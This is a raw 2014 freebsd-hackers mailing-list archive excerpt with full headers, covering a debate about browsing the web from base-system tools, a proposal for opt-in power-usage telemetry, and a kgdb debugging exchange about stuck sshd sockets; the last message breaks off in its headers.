(UTC) Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id E92F0287; Thu, 3 Apr 2014 04:13:00 +0000 (UTC) Received: from [192.168.1.157] (pool-173-52-87-124.nycmny.fios.verizon.net [173.52.87.124]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: ryao) by smtp.gentoo.org (Postfix) with ESMTPSA id A663533FE0A; Thu, 3 Apr 2014 04:12:59 +0000 (UTC) References: <13492F6B-C667-4569-87D2-3F808AE7356D@gmail.com> <533CC0B9.9000907@freebsd.org> Mime-Version: 1.0 (1.0) In-Reply-To: <533CC0B9.9000907@freebsd.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: X-Mailer: iPad Mail (10B146) From: Richard Yao Subject: Re: Web browsing usage from base Date: Thu, 3 Apr 2014 00:12:58 -0400 To: Julian Elischer Cc: "freebsd-hackers@freebsd.org" , Brian Kim X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 04:13:01 -0000 It is human readable. The person using fetch could interpret it. On Apr 2, 2014, at 10:00 PM, Julian Elischer wrote: > On 4/3/14, 12:02 AM, Brian Kim wrote: >> Would anyone like to share their best approach to browsing the web only u= sing utilities from a base install? >>=20 >> Best, >> bk >>=20 >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org= " > well 'fetch' would probably be involved to get the page downloaded, > but you'd have to find something to interpret the html and I don't know of= anything that can do that.. >=20 > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 05:32:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 74DA4884 for ; Thu, 3 Apr 2014 05:32:05 +0000 (UTC) Received: from mail-qa0-x234.google.com (mail-qa0-x234.google.com [IPv6:2607:f8b0:400d:c00::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 31E15A40 for ; Thu, 3 Apr 2014 05:32:05 +0000 (UTC) Received: by mail-qa0-f52.google.com with SMTP id m5so1206596qaj.11 for ; Wed, 02 Apr 2014 22:32:04 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=eitanadler.com; s=0xdeadbeef; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=MWxsa1lGztc8UDwvRpDvNOGB997of8P8wZ8W/19bcNI=; b=jfKitLW/cxH+IkMtQInMVR19jMFnuyUV0oCLg6YveT3VK6cl8/Y7l2KHHm3EXFmYsu eN2fwflKZPHn7b5yH6Sua8PBXHFMZ9AcWB2L2CdqgiwX8grX+72O/EUXZ5taCDRD69kz npHM4rWzm7pmyU4rvslGXJCC5IT6l1mUEyYJk= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:from:date :message-id:subject:to:cc:content-type; bh=MWxsa1lGztc8UDwvRpDvNOGB997of8P8wZ8W/19bcNI=; b=KmHbFqP45/QJN79+WZ8lqQQkmbiQtnz/fDKpZsWaiR0QzXwryUEQNKP6MPSMvix7L2 2ZZ8s+DX7MdE6qPH3nJ5kP4eE5Ek2/ndmf3DQEsdz3T+rcytJJFjset+TxTdB5Az1uqu w+5FSaOJWDWSbDNWaQ/0gZJj0AX9DBLlOqtHImlR9ZyLwJcoWHYH3f/CsljyERspfry+ CUIxaNVs9YkzKXXwyY7iNG80xV3MHR+lMfkdifHnaIk4PqY6NpM3JTRaSdo2NWcJpHEa Df32sdART+T7Hx9TvRGazMGs3FZM7tOFBqa+cPqzlwaSiTNnJa1u1byeMkuNZMBjtCys Ha7A== X-Gm-Message-State: ALoCoQkT/xDVZwt5pk7EtMgi/uwjVfceQD6SwMPVpw5Dy0Iz1iVQaxuEaLtAiEdkj35pvRTTgk3c X-Received: by 10.224.114.130 with SMTP id e2mr5107370qaq.53.1396503124360; Wed, 02 Apr 2014 22:32:04 -0700 (PDT) MIME-Version: 1.0 Received: by 10.96.147.225 with HTTP; Wed, 2 Apr 2014 22:31:34 -0700 (PDT) In-Reply-To: <13492F6B-C667-4569-87D2-3F808AE7356D@gmail.com> References: <13492F6B-C667-4569-87D2-3F808AE7356D@gmail.com> From: Eitan Adler Date: Wed, 2 Apr 2014 22:31:34 -0700 Message-ID: Subject: Re: Web browsing usage from base To: Brian Kim Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 05:32:05 -0000 On 2 April 2014 09:02, Brian Kim wrote: > Would anyone like to share their best approach to browsing the web only using utilities from a base install? $pkg install firefox $firefox seems to work (provided X is running). -- Eitan Adler From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 05:34:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C8099982; Thu, 3 Apr 2014 05:34:33 +0000 (UTC) Received: from mail0.glenbarber.us (mail0.glenbarber.us [IPv6:2607:fc50:1:2300:1001:1001:1001:face]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "*.glenbarber.us", Issuer "RapidSSL CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 97C74A5C; Thu, 3 Apr 2014 05:34:33 +0000 (UTC) Received: from glenbarber.us (70.15.88.86.res-cmts.sewb.ptd.net [70.15.88.86]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) (Authenticated sender: gjb) by mail0.glenbarber.us (Postfix) with ESMTPSA id 64E4EBA9D; Thu, 3 Apr 2014 05:34:31 +0000 (UTC) DKIM-Filter: OpenDKIM Filter v2.8.3 mail0.glenbarber.us 64E4EBA9D Authentication-Results: mail0.glenbarber.us; dkim=none reason="no signature"; dkim-adsp=none Date: Thu, 3 Apr 2014 01:34:29 -0400 From: Glen Barber To: Eitan Adler Subject: Re: Web browsing usage from base Message-ID: <20140403053429.GS14379@glenbarber.us> References: <13492F6B-C667-4569-87D2-3F808AE7356D@gmail.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha256; protocol="application/pgp-signature"; boundary="Y51z1SGMnxVzkhDv" Content-Disposition: inline In-Reply-To: X-Operating-System: FreeBSD 11.0-CURRENT amd64 X-SCUD-Definition: Sudden Completely Unexpected Dataloss X-SULE-Definition: Sudden Unexpected Learning Event User-Agent: Mutt/1.5.23 (2014-03-12) Cc: freebsd-hackers@freebsd.org, Brian Kim X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 05:34:33 -0000 --Y51z1SGMnxVzkhDv Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Apr 02, 2014 at 10:31:34PM -0700, Eitan Adler wrote: > On 2 April 2014 09:02, Brian Kim wrote: > > Would anyone like to share their best approach to browsing the > > web only using utilities from a base install? >=20 > $pkg install firefox > $firefox >=20 > seems to work (provided X is running). >=20 I think you did not read the question. Glen --Y51z1SGMnxVzkhDv Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBCAAGBQJTPPLlAAoJELls3eqvi17QRXwP/illIGxCmE4NC87SctDsJeUl m7JwItdhjw5mJYP4H8FVs925oqUIq686c+BWmc7TXEluDLREvbGyrsAAkqbN35tR NiG0PKhowvnvmgpZ5Lf9KBDkMyToILLQ5oszQeUedakvhcyuEZM3IrjF8izMOrvt cMS2YsPwb23z91WQzl5gwtfjtuFgEqFX8A5dGSQYceChtspp0JORC/7ioSwSM0TJ U6/CREELZbMGrJUe6fqx/IiQNZ9BMS+heDKSt+Pfw20r7qlaqoeBr36aWKrVCJTB w2u/LqirsHZDhFE+8mRhQe3GM7ZxCiuBid+HIu5dQHHVCQ5VoIa7xUZs3+uZSsxw hHRLDNaQ04pEohpm3+egJxM4QOe2PiKmvMAXUjVI2pPEQ8iCCYRUAK9WMlD9rOQg 0A7T2ZzVEySwt7U6WjQmU5EvgkEpmHduyCDyFDeRw2NWjMy5iADAAfgE8gRuyost z4QEfx3ohAvfW/n1S+LdOU3UwpKlt1oghd/QU+24yCh7xQ8Qi3p+RwRTtEQ0WOSP Sob4e5nCX+wtwlH1sLI6NZpYjE6of1YqYnZ/P0FJyyqNlyCoCdz4hSVjSnP/uWMI ZxIFexbXI99Mb0fdBxB78FVW0f02iUZDo0NUw2E/YM7neORKaI+lXpcmVpyjwNdv Dfkb1hKpiVVAdEcEg0q4 =OFAm -----END PGP SIGNATURE----- --Y51z1SGMnxVzkhDv-- From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 05:37:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 57766AA9 for ; Thu, 3 Apr 2014 05:37:04 +0000 (UTC) Received: from mail-qa0-x229.google.com (mail-qa0-x229.google.com [IPv6:2607:f8b0:400d:c00::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 11E79A72 for ; Thu, 3 Apr 2014 05:37:04 +0000 (UTC) Received: by mail-qa0-f41.google.com with SMTP id j5so1205806qaq.28 for ; Wed, 02 Apr 2014 22:37:03 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=eitanadler.com; s=0xdeadbeef; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=aw8xfc8XmR5PHFIkieQ7Mh9wuGTDEKvUNa5P8oueazo=; b=sl10KNnrNyLfFh6qccrX/dGZOapvJbpq+x2xUDwRBC6KyEaaWWcJj/Tf5qpMOalY3P FWzAAxtN47nVkab3dmGP8y+NhkSmdhYMUfWnujqionuH4Zn3YdT19OSfSjy9NKJVnhQt JZaUWUBG4GBOJ1hdNolC3A8bbZwU0XBePx7Ks= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:from:date :message-id:subject:to:cc:content-type; bh=aw8xfc8XmR5PHFIkieQ7Mh9wuGTDEKvUNa5P8oueazo=; b=DH3/IqT8xBC4DM5zOt+RGQNaD6jSdci2NNgLEEm0R85cNBD3yjYtWWvGa1bhA4AsQH TdLw2QHHe3Y733FHENwsFeF3UMLrzE0ZruTSVQbO9PAATU/9n4VGNsZnHcaV3RhlKhFQ OluGeCrDHPyhWf4bjHa7vADBLXeOOMNBIsXI5ZXUm/qQ74AmDAcg2YcQ3EVuhnqZAMRB Z7APZyLVjRF2UHks1J/3Q13yenjSEdZquN8MJEABGyH/1IZT7O2uPuTjN10lrExnVeJO +5sNwzl3D0ZrflXn5wwP1JmE/A6hncRFDsTN6QB6zBS52PTWM+zkiq3tQHE0IOhtRm1F gYHQ== X-Gm-Message-State: ALoCoQn2lUkfaM3d2Y4PqLP207yEqOz+OTrMxvwGdG28E4HRwKlccFTgxyREo54EWSMfXGaZqv14 X-Received: by 10.140.84.231 with SMTP id l94mr4831754qgd.75.1396503423113; Wed, 02 Apr 2014 22:37:03 -0700 (PDT) MIME-Version: 1.0 Received: by 10.96.147.225 with HTTP; Wed, 2 Apr 2014 22:36:31 -0700 (PDT) In-Reply-To: <20140403053429.GS14379@glenbarber.us> References: <13492F6B-C667-4569-87D2-3F808AE7356D@gmail.com> <20140403053429.GS14379@glenbarber.us> From: Eitan Adler Date: Wed, 2 Apr 2014 22:36:31 -0700 Message-ID: Subject: Re: Web browsing usage from base To: Glen Barber Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org, Brian Kim X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 05:37:04 -0000 On 2 April 2014 22:34, Glen Barber wrote: > On Wed, Apr 02, 2014 at 10:31:34PM -0700, Eitan Adler wrote: >> On 2 April 2014 09:02, Brian Kim wrote: >> > Would anyone like to share their best approach to browsing the >> > web only using utilities from a base install? >> >> $pkg install firefox >> $firefox >> >> seems to work (provided X is running). >> > > I think you did not read the question. pkg [bootstrap] is in base. IMHO relying on "only tools in base" is generally the way to having a bad time. If you need a tool to do something, install it. -- Eitan Adler From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 05:42:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A9AE4D35; Thu, 3 Apr 2014 05:42:28 +0000 (UTC) Received: from mail0.glenbarber.us (mail0.glenbarber.us [208.86.227.67]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "*.glenbarber.us", Issuer "RapidSSL CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 78ACAB18; Thu, 3 Apr 2014 05:42:28 +0000 (UTC) Received: from glenbarber.us (70.15.88.86.res-cmts.sewb.ptd.net [70.15.88.86]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) (Authenticated sender: gjb) by mail0.glenbarber.us (Postfix) with ESMTPSA id E4A39BB72; Thu, 3 Apr 2014 05:42:26 +0000 (UTC) DKIM-Filter: OpenDKIM Filter v2.8.3 mail0.glenbarber.us E4A39BB72 Authentication-Results: mail0.glenbarber.us; dkim=none reason="no signature"; dkim-adsp=none Date: Thu, 3 Apr 2014 01:42:24 -0400 From: Glen Barber To: Eitan Adler Subject: Re: Web browsing usage from base Message-ID: <20140403054224.GU14379@glenbarber.us> References: <13492F6B-C667-4569-87D2-3F808AE7356D@gmail.com> <20140403053429.GS14379@glenbarber.us> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha256; protocol="application/pgp-signature"; boundary="AHVSF3we4xtO5oi5" Content-Disposition: inline In-Reply-To: X-Operating-System: FreeBSD 11.0-CURRENT amd64 X-SCUD-Definition: Sudden Completely Unexpected Dataloss X-SULE-Definition: Sudden Unexpected Learning Event User-Agent: Mutt/1.5.23 (2014-03-12) Cc: freebsd-hackers@freebsd.org, Brian Kim X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 05:42:28 -0000 --AHVSF3we4xtO5oi5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Apr 02, 2014 at 10:36:31PM -0700, Eitan Adler wrote: > On 2 April 2014 22:34, Glen Barber wrote: > > On Wed, Apr 02, 2014 at 10:31:34PM -0700, Eitan Adler wrote: > >> On 2 April 2014 09:02, Brian Kim wrote: > >> > Would anyone like to share their best approach to browsing the > >> > web only using utilities from a base install? > >> > >> $pkg install firefox > >> $firefox > >> > >> seems to work (provided X is running). > >> > > > > I think you did not read the question. >=20 > pkg [bootstrap] is in base. >=20 > IMHO relying on "only tools in base" is generally the way to having a > bad time. If you need a tool to do something, install it. >=20 The OP did not ask "how do I install something to browse web pages?". Glen --AHVSF3we4xtO5oi5 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBCAAGBQJTPPTAAAoJELls3eqvi17QwJMP/0qs6wEh/Hznb1GTxDiFaVjp JOqJYP0PSgWHdBua3AabB2VF1DKbnGkGnGiOIyx7BYxEwFNp1Q6XzA7ktlhNL6zK TD9qg2+T6TeILy45fjIgvLxkjNK5FS6hdf+llR1uSNe0UITWXoi/d+rtGS7IOWML b5b0wCDQEkuHti8ocjUWoW5rjWLQLO3YZDfpJEld13fVxSs4ja2fA8CIQLhGg1Or otdX17Z+jzhxckQ75bIuLzDjOSF9frkktn96q7k6y7satP7ColEQT4Fuo9dyUHpo /AKMZVB2LodhPd/+VlRVolgKcUn7IOWh3ZiJ+jJupDC6tfmQXLrfO4xIKMgJWMJ9 7V3nshfdXMRCX31Y3wdN28sfkk9CXCD9n0unjyz7dWmCd+8TvCxWzY19RivqZ/Wp MNqzNLMFREmIa8pQ49qvsXs5OQ8VTx8J6mijXApz3exAs+UT85XL9KPWGGQ+aqm0 Ecsr9RZ8LyZ0FwGk1uw8YjTzXtMiF8sTZ66bRK7ith4VOmpPVeQLfjekdvIYJmCv u/2ZJ6zWFZ4hx8ZU0WOSZKy4LJBcPzfL+gPa20I7zGinp2A5XykvGvi3+0jQhism 18JAv6zE17qxvvW3DyAVmyHKHjCFd+tpmMqO5G6ddsqlj1h7t7ibNhpaoh/rnGzR 2qr3HrusG93+p55cbNrU =MqKS -----END PGP SIGNATURE----- --AHVSF3we4xtO5oi5-- From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 05:45:47 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 617CBE6E; Thu, 3 Apr 2014 05:45:47 +0000 (UTC) Received: from mail.iXsystems.com (newknight.ixsystems.com [206.40.55.70]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 3CA1CB37; Thu, 3 Apr 2014 05:45:47 +0000 (UTC) Received: from localhost (mail.ixsystems.com [10.2.55.1]) by mail.iXsystems.com (Postfix) with ESMTP id C8763737C9; Wed, 2 Apr 2014 22:45:46 -0700 (PDT) Received: from mail.iXsystems.com ([10.2.55.1]) by localhost (mail.ixsystems.com [10.2.55.1]) (maiad, port 10024) with ESMTP id 56191-08; Wed, 2 Apr 2014 22:45:46 -0700 (PDT) Received: from [10.8.0.30] (unknown [10.8.0.30]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.iXsystems.com (Postfix) with ESMTPSA id 925CB737C2; Wed, 2 Apr 2014 22:45:30 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=ixsystems.com; s=newknight0; t=1396503946; bh=9WS/oDqoVjysjWUCgzbo4cqsYEDLofWmid7I26qMoY0=; h=Subject:From:In-Reply-To:Date:Cc:References:To; b=nxLrp2iVNzGkLd5Hh7/wJNb1I0lrCPQCvkHjIlj2yD60B+X2P0AyBtXlm5aqD2IfX IwecWdWp+Q7W9sQwzDkN5iBc6w3m4cBkApuIbF5NLhOGIcOjrIwLrBudB4VSMlDJWz +PP2yqrksU82vzlUX2btl2mg1IJT0sPhbPf3fd9E= Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Power Efficiency (was Re: Leaving the Desktop Market) From: Jordan Hubbard In-Reply-To: <20140403034150.GA78653@regency.nsu.ru> Date: Thu, 3 Apr 2014 10:45:21 +0500 Content-Transfer-Encoding: quoted-printable Message-Id: <89A553DC-199A-47E3-B352-34A4CDCAC4E4@ixsystems.com> References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140403034150.GA78653@regency.nsu.ru> To: Alexey Dokuchaev X-Mailer: Apple Mail (2.1874) Cc: Eitan Adler , hackers@FreeBSD.org, David Chisnall X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 05:45:47 -0000 [ Dropping Advocacy and Current from the CC as this has morphed ] On Apr 3, 2014, at 8:41 AM, Alexey Dokuchaev wrote: >> Some things have already seen progress, for example Davide's = calloutng work >> includes timer coalescing, but there are still a lot of, uh, = opportunities >> for improvement. The Symbian EKA2 book has some very interesting = detail on >> their power management infrastructure, which would be worth looking = at for >> anyone interested in working on this, and I believe your former = employer >> had some expertise in this area. >=20 > Now that's something I'm glad to hear. It would be cool if FreeBSD = gained > some power-efficient software that run smoothly together with hardware = (and > laptops in particular) developed by Jordan's former employer. ;-) I=92m also glad to hear that, especially as it will have a big impact on = mobile / =93internet of things=94 roles (and if you read that Ars = Technical article I cited earlier, one particular quote, with which I = heartily agree, was: "I think the desktop on its own will die," = Shuttleworth said, explaining that it must be paired with mobile success = to embrace the shifting nature of personal computing.=94). A desktop (increasingly redefined to =93laptop=94) is ultimately just a = digital hub (to use Apple=92s marketing parlance) into which you plug = sources of data, manage that data, mash it up in new and different ways, = etc. on its way to somewhere else. It=92s most important as a = command-and-control or midway point for other devices, in other words, = and if it=92s not designed to interoperate with those devices and = instead wants to assume that it=92s really the first class citizen in = the equation, then that desktop is marked for death. :) Back to power, however, since that=92s the subject: I would first ask = the core team / foundation about their plans for the measurement side of = things, without which there is really no power management effort since = you can=92t optimize power or performance based purely on guesses and = speculation. Any OS X user is probably familiar with the =93systemstats=94= command, though what they probably aren=92t as conscious of is just how = far and wide (or deep) the instrumentation has to go to produce the = information you see summarized there. What=92s also not apparent is = just how valuable that sort of information is in determining where the = majority of your work lies, or how effective your ongoing efforts to = optimize power and performance are. There are a lot of blind alleys in = this kind of work, and without telemetry it=92s easy to fool yourself = into thinking you=92ve just pulled off a major coup when, in reality, = all you=92ve done is shaved off a few fractions of a percent, or = sometimes even made things worse. I would therefore propose this as the first and most obvious place to = start. Pick an efficient and concise =93logging=94 format (though this = isn=92t logging - this is more like auditing) and design an API that = works in both kernel and user land for allowing things to cut records = and identify just where each record came from. Write a tool for = exporting that data to a central collection point periodically since no = single machine (or usage scenario) is going to exhibit all the behaviors = you want to capture. In fact, the more machines you can collect this = data from, the better. With suitable anonymization, I can see this = being something a lot of FreeBSD users would be fine with opting into, = and even if the project itself doesn=92t want to get into the data = collection business, various appliance vendors with smaller and more = focused ecosystems would certainly be interested and could leverage the = same technology to set up their own telemetry collection points. We=92d = use it! As long as the user has the option of opting in explicitly, I don=92t = see any downside as long as the data collection process itself doesn=92t = cause disruption of service or end up penalizing power or performance = (which would be both ironic and bad). That=92s why you want to design a = purpose-built data collection system that you can optimize for maximum = utility and minimal impact. This is also why existing mechanisms like = dtrace / ktrace / truss are simply not suitable. They are fairly blunt = instruments which are excellent =93swiss army knife=94 tools for = applying in a broad variety of scenarios, but they=92re not meant to be = used all the time, and if you really want to collect data that will = capture those specific moments when things run amuck or otherwise = exhibit pathological behavior when you=92re not watching (which Murphy=92s= law practically dictates will happen *especially* when you=92re not = watching), then the data collection needs to happen all the time. And yes, this is important enough to us that we=92d be willing to = contribute to the effort, not just talk about it on -hackers. ;-) - Jordan From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 08:02:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 17F411C2; Thu, 3 Apr 2014 08:02:25 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id AF5128FF; Thu, 3 Apr 2014 08:02:24 +0000 (UTC) Received: from Mail-PC.tdx.co.uk (storm.tdx.co.uk [62.13.130.251]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s3382MOU088669 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 3 Apr 2014 09:02:22 +0100 (BST) Date: Thu, 03 Apr 2014 09:02:21 +0100 From: Karl Pielorz To: John Baldwin Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <9FDC091D98AB2CF92DE4399F@Mail-PC.tdx.co.uk> In-Reply-To: <201404021405.56878.jhb@freebsd.org> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404021130.39478.jhb@freebsd.org> <201404021405.56878.jhb@freebsd.org> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 08:02:25 -0000 --On 02 April 2014 14:05 -0400 John Baldwin wrote: > Grr, I guess that's what I should have expected. Was sort of hoping to > be able to see which socket it was blocked on. Can you run 'kgdb' as = root > (no args), then do 'proc 4346' and 'bt'? If you are familiar with gdb, > walk up to the frame that in sys_read and do 'p *uap' so we can see which > fd is being read. Ok, think I've done this right (if not, let me know what I should be doing=20 :) " ... (kgdb) up #9 0xffffffff80903133 in sys_read (td=3D, = uap=3D) at ../../../kern/sys_generic.c:171 171 error =3D kern_readv(td, uap->fd, &auio); (kgdb) p *uap $1 =3D {fd_l_ =3D 0xfffff800238bb920 "\b\021I\201=C3=BF=C3=BF=C3=BF=C3=BF", = fd =3D -2125917944,=20 fd_r_ =3D "=C3=BF=C3=BF=C3=BF=C3=BF", buf_l_ =3D 0xfffff800238bb928 "", buf = =3D=20 0xfffff800237a1000, buf_r_ =3D 0xfffff800238bb930 "", nbyte_l_ =3D 0xfffff800238bb930 "", = nbyte =3D=20 0, nbyte_r_ =3D 0xfffff800238bb938 "\020\020z#"} " -Karl From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 02:15:16 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2637FF2E; Thu, 3 Apr 2014 02:15:16 +0000 (UTC) Received: from mx.nsu.ru (mx.nsu.ru [84.237.50.39]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 7C98A942; Thu, 3 Apr 2014 02:15:14 +0000 (UTC) Received: from regency.nsu.ru ([193.124.210.26]) by mx.nsu.ru with esmtp (Exim 4.72) (envelope-from ) id 1WVXBE-0006t6-LG; Thu, 03 Apr 2014 09:15:06 +0700 Received: from regency.nsu.ru (localhost [127.0.0.1]) by regency.nsu.ru (8.14.2/8.14.2) with ESMTP id s332EOH2059153; Thu, 3 Apr 2014 09:14:34 +0700 (NOVT) (envelope-from danfe@regency.nsu.ru) Received: (from danfe@localhost) by regency.nsu.ru (8.14.2/8.14.2/Submit) id s332EHg5059078; Thu, 3 Apr 2014 09:14:17 +0700 (NOVT) (envelope-from danfe) Date: Thu, 3 Apr 2014 09:14:17 +0700 From: Alexey Dokuchaev To: Kevin Oberman Subject: Re: Leaving the Desktop Market Message-ID: <20140403021417.GA50938@regency.nsu.ru> References: <20140401094044.GX44074@e-new.0x20.net> <083e01cf4db9$f8f4e040$eadea0c0$@FreeBSD.org> <20140401174302.GU44074@e-new.0x20.net> <20140401195006.GA1368@tiny-r255948> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-KLMS-Rule-ID: 1 X-KLMS-Message-Action: clean X-KLMS-AntiSpam-Lua-Profiles: 59167 [Apr 03 2014] X-KLMS-AntiSpam-Version: 5.3.6 